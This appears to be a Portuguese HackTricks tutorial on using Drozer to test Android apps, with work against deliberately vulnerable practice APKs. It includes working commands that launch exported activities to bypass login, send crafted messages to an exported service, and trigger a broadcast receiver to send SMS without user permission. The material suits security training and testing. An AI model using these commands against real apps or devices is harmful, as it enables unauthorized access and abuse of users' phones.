# Tutorial Drozer
Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)! Outras formas de apoiar o HackTricks: * Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com) * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos * **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
**Dica para bug bounty**: **inscreva-se** no **Intigriti**, uma plataforma premium de **bug bounty criada por hackers, para hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje mesmo e comece a ganhar recompensas de até **$100,000**! {% embed url="https://go.intigriti.com/hacktricks" %} ## APKs para testar * [Sieve](https://github.com/mwrlabs/drozer/releases/download/2.3.4/sieve.apk) (da mrwlabs) * [DIVA](https://payatu.com/wp-content/uploads/2016/01/diva-beta.tar.gz) ## Instalação Instale o Cliente Drozer no seu host. Baixe-o a partir das [últimas versões](https://github.com/mwrlabs/drozer/releases). ```bash pip install drozer-2.4.4-py2-none-any.whl pip install twisted pip install service_identity ``` Baixe e instale o APK do drozer a partir dos [últimos lançamentos](https://github.com/mwrlabs/drozer/releases). No momento, é [este](https://github.com/mwrlabs/drozer/releases/download/2.3.4/drozer-agent-2.3.4.apk). ``` adb install drozer.apk ``` ### Iniciando o Servidor O Agent está rodando na porta 31415, precisamos fazer o [encaminhamento de porta](https://en.wikipedia.org/wiki/Port\_forwarding) para estabelecer a comunicação entre o Cliente Drozer e o Agent, aqui está o comando para fazer isso: ``` adb forward tcp:31415 tcp:31415 ``` Finalmente, **inicie** o **aplicativo** e pressione o botão "**ON**" ![](<../../../.gitbook/assets/image (63).png>) E conecte-se a ele: ``` drozer console connect ``` ## Comandos Interessantes | **Comandos** | **Descrição** | | --------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------ | | **Help MODULE** | Mostra a ajuda do módulo selecionado | | **list** | Exibe uma lista de todos os módulos drozer que podem ser executados na sessão atual. Isso oculta módulos que você não tem permissões adequadas para executar. | | **shell** | Inicia um shell Linux interativo no dispositivo, no contexto do Agente. | | **clean** | Remove arquivos temporários armazenados pelo drozer no dispositivo Android. | | **load** | Carrega um arquivo contendo comandos drozer e executa-os em sequência. | | **module** | Encontra e instala módulos drozer adicionais da Internet. | | **unset** | Remove uma variável nomeada que o drozer passa para quaisquer shells Linux que ele inicia. | | **set** | Armazena um valor em uma variável que será passada como uma variável de ambiente para quaisquer shells Linux iniciados pelo drozer. | | **shell** | Inicia um shell Linux interativo no dispositivo, no contexto do Agente | | **run MODULE** | Executa um módulo drozer | | **exploit** | O drozer pode criar exploits para executar no dispositivo. `drozer exploit list` | | **payload** | Os exploits precisam de um payload. `drozer payload list` | ### Pacote Encontre o **nome** do pacote filtrando por parte do nome: ``` dz> run app.package.list -f sieve com.mwr.example.sieve ``` **Informações Básicas** do pacote: ``` dz> run app.package.info -a com.mwr.example.sieve Package: com.mwr.example.sieve Process Name: com.mwr.example.sieve Version: 1.0 Data Directory: /data/data/com.mwr.example.sieve APK Path: /data/app/com.mwr.example.sieve-2.apk UID: 10056 GID: [1028, 1015, 3003] Shared Libraries: null Shared User ID: null Uses Permissions: - android.permission.READ_EXTERNAL_STORAGE - android.permission.WRITE_EXTERNAL_STORAGE - android.permission.INTERNET Defines Permissions: - com.mwr.example.sieve.READ_KEYS - com.mwr.example.sieve.WRITE_KEYS ``` Ler **Manifest**: ``` run app.package.manifest jakhar.aseem.diva ``` **Superfície de ataque** do pacote: ``` dz> run app.package.attacksurface com.mwr.example.sieve Attack Surface: 3 activities exported 0 broadcast receivers exported 2 content providers exported 2 services exported is debuggable ``` * **Activities**: Talvez você possa iniciar uma atividade e contornar algum tipo de autorização que deveria impedir o lançamento dela. * **Content providers**: Talvez você possa acessar dados privados ou explorar alguma vulnerabilidade (SQL Injection ou Path Traversal). * **Services**: * **is debuggable**: [Saiba mais](./#is-debuggeable) ### Activities O valor "android:exported" de um componente de atividade exportado está definido como **"true"** no arquivo AndroidManifest.xml: ```markup ``` **Listar atividades exportadas**: ```bash dz> run app.activity.info -a com.mwr.example.sieve Package: com.mwr.example.sieve com.mwr.example.sieve.FileSelectActivity com.mwr.example.sieve.MainLoginActivity com.mwr.example.sieve.PWList ``` **Iniciar atividade**: Talvez você possa iniciar uma atividade e contornar algum tipo de autorização que deveria impedir o lançamento dela. {% code overflow="wrap" %} ```bash dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList ``` {% endcode %} Você também pode iniciar uma atividade exportada a partir do **adb**: * PackageName é com.example.demo * Exported ActivityName é com.example.test.MainActivity ```bash adb shell am start -n com.example.demo/com.example.test.MainActivity ``` ### Provedores de Conteúdo Este post era tão grande para estar aqui que **você pode** [**acessá-lo em sua própria página aqui**](exploiting-content-providers.md). ### Serviços Um serviço exportado é declarado dentro do Manifest.xml: {% code overflow="wrap" %} ```markup ``` {% endcode %} Dentro do código, **verifique** a função \*\*`handleMessage`\*\* que irá **receber** a **mensagem**: ![](<../../../.gitbook/assets/image (194).png>) #### Listar serviço ```bash dz> run app.service.info -a com.mwr.example.sieve Package: com.mwr.example.sieve com.mwr.example.sieve.AuthService Permission: null com.mwr.example.sieve.CryptoService Permission: null ``` #### **Interagir** com um serviço ``` app.service.send Send a Message to a service, and display the reply app.service.start Start Service app.service.stop Stop Service ``` #### Exemplo Dê uma olhada na ajuda do **drozer** para `app.service.send`: ![](<../../../.gitbook/assets/image (196) (1).png>) Note que você estará enviando primeiro os dados dentro de "_msg.what_", depois "_msg.arg1_" e "_msg.arg2_". Você deve verificar dentro do código **quais informações estão sendo usadas** e onde.\ Usando a opção `--extra`, você pode enviar algo interpretado por "_msg.replyTo"_, e usando `--bundle-as-obj`, você cria um objeto com os detalhes fornecidos. No exemplo a seguir: * `what == 2354` * `arg1 == 9234` * `arg2 == 1` * `replyTo == object(string com.mwr.example.sieve.PIN 1337)` ``` run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --msg 2354 9234 1 --extra string com.mwr.example.sieve.PIN 1337 --bundle-as-obj ``` ```markdown ![](<../../../.gitbook/assets/image (195).png>) ### Receptores de Broadcast Aplicativos Android podem enviar ou receber mensagens broadcast do sistema Android e de outros aplicativos Android, similar ao padrão de design [publish-subscribe](https://en.wikipedia.org/wiki/Publish%E2%80%93subscribe\_pattern). Esses broadcasts são enviados quando um evento de interesse ocorre. Por exemplo, o sistema Android envia broadcasts quando vários eventos do sistema ocorrem, como quando o sistema é iniciado ou o dispositivo começa a carregar. Aplicativos também podem enviar broadcasts personalizados, por exemplo, para notificar outros aplicativos sobre algo que possa ser do interesse deles (por exemplo, novos dados foram baixados). Aplicativos podem se registrar para receber broadcasts específicos. Quando um broadcast é enviado, o sistema automaticamente encaminha os broadcasts para os aplicativos que se inscreveram para receber aquele tipo particular de broadcast. Isso poderia aparecer dentro do arquivo Manifest.xml: ``` ```markup ``` De: [https://developer.android.com/guide/components/broadcasts](https://developer.android.com/guide/components/broadcasts) Após descobrir estes Broadcast Receivers, você deve **verificar o código** deles. Preste atenção especial à função **`onReceive`**, pois ela será responsável por lidar com as mensagens recebidas. #### **Detectar todos** os broadcast receivers ```bash run app.broadcast.info #Detects all ``` #### Verificar os receptores de transmissão de um app ```bash #Check one negative run app.broadcast.info -a jakhar.aseem.diva Package: jakhar.aseem.diva No matching receivers. # Check one positive run app.broadcast.info -a com.google.android.youtube Package: com.google.android.youtube com.google.android.libraries.youtube.player.PlayerUiModule$LegacyMediaButtonIntentReceiver Permission: null com.google.android.apps.youtube.app.common.notification.GcmBroadcastReceiver Permission: com.google.android.c2dm.permission.SEND com.google.android.apps.youtube.app.PackageReplacedReceiver Permission: null com.google.android.libraries.youtube.account.AccountsChangedReceiver Permission: null com.google.android.apps.youtube.app.application.system.LocaleUpdatedReceiver Permission: null ``` #### Interações de **Broadcast** ``` app.broadcast.info Get information about broadcast receivers app.broadcast.send Send broadcast using an intent app.broadcast.sniff Register a broadcast receiver that can sniff particular intents ``` #### Enviar uma mensagem Neste exemplo, abusando do Content Provider do [FourGoats apk](https://github.com/linkedin/qark/blob/master/tests/goatdroid.apk), você pode **enviar um SMS arbitrário** para qualquer destino não-premium **sem pedir** permissão ao usuário. ![](<../../../.gitbook/assets/image (199).png>) ![](<../../../.gitbook/assets/image (197) (1).png>) Se você ler o código, os parâmetros "_phoneNumber_" e "_message_" devem ser enviados para o Content Provider. ``` run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --component org.owasp.goatdroid.fourgoats.broadcastreceivers SendSMSNowReceiver --extra string phoneNumber 123456789 --extra string message "Hello mate!" ``` ### É depurável Um APK de produção nunca deve ser depurável.\ Isso significa que você pode **anexar um depurador Java** à aplicação em execução, inspecioná-la em tempo real, definir pontos de interrupção, avançar passo a passo, coletar valores de variáveis e até mesmo alterá-los. [O InfoSec Institute tem um excelente artigo](../exploiting-a-debuggeable-applciation.md) sobre aprofundamento quando sua aplicação é depurável e injetando código em tempo de execução. Quando uma aplicação é depurável, isso aparecerá no Manifest: ```html **Dica de bug bounty**: **inscreva-se** no **Intigriti**, uma plataforma premium de bug bounty criada por hackers, para hackers! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje e comece a ganhar recompensas de até **$100,000**! {% embed url="https://go.intigriti.com/hacktricks" %}
Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)! Outras formas de apoiar o HackTricks: * Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com) * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos * **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).